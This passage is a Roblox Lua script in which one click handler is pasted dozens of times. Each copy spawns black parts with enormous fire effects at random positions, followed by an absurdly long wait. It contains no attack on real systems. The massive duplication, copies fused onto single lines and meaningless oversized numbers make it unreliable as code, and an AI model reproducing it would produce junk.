fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
